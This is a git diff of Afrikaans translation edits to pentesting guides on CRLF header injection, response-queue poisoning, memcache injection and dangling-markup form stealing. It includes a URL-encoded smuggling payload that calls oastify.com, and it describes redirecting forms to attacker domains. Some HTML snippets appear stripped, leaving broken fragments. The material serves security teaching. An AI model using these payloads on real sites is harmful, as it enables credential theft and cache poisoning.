@@ -119,11 +121,11 @@ Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipi **Uitbuiting:** -1. **Kwaadwillige Vooraf-inspuiting**: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige vooraf te spesifiseer. 'n Voorbeeld hiervan is: +1. **Kwaadwillige Voorvoegsel Inspuiting**: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige voorvoegsel te spesifiseer. 'n Voorbeeld hiervan is: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **Skep 'n Vooraf vir Antwoord Queuing Vergiftiging**: Hierdie benadering behels die skep van 'n vooraf wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan antwoord queuing vergiftiging ontketen. 'n Voorbeeld is: +2. **Skep 'n Voorvoegsel vir Antwoord Queues Vergiftiging**: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan die vergiftiging van die antwoordqueue ontketen. 'n Voorbeeld is: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` @@ -137,13 +139,13 @@ Memcache is 'n **sleutel-waarde stoor wat 'n duidelike teksprotokol gebruik**. M **Vir die volledige inligting lees die**[ **oorspronklike skrywe**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -As 'n platform **data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer** om **versoeke** na 'n **memcache** bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om **nuwe memcache opdragte in te spuit**. +As 'n platform **data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer** om **versoeke** aan 'n **memcache** bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om **nuwe memcache opdragte in te spuit**. -Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet verbind, terug te gee, en aanvallers was in staat om **memcache opdragte in te spuit** wat die **kas sou vergiftig** om die **besoeke se besonderhede** (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur: +Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet verbind, terug te gee, en aanvallers was in staat om **memcache opdragte in te spuit** wat die **kas sou vergiftig** om die **besoekers se besonderhede** (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geweet het nie: +Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geken het nie:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
@@ -195,6 +197,4 @@ Om die risiko's van CRLF (Carriage Return en Line Feed) of HTTP Koptekst Inspuit - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 9e2b908eb..909e199db 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -7,7 +7,7 @@ Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\ Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy wil dit **uitvoer** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei. -Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...). +Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere (html-tags, CSS, http-meta-tags, vorms, basis...) uit te voer. ## Main Applications @@ -15,7 +15,7 @@ Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content As jy `test ``` Dan sal die vorms wat data na die pad stuur (soos `
`) die data na die kwaadwillige domein stuur. -### Stealing forms 2 +### Steel vorms 2 Stel 'n vormkop in: `` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word. -### Stealing forms 3 +### Steel vorms 3 Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction": ```html @@ -61,13 +61,13 @@ Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger ### Steel duidelike teks geheime 2 -Deur die nuutste genoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg: +Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg: ```html `-tag in te voeg. Alle data totdat 'n geslote `` gevind word, sal gestuur word: +Jy kan dieselfde doen deur 'n vorm en 'n `` gevind word, sal gestuur word: ```html Click Me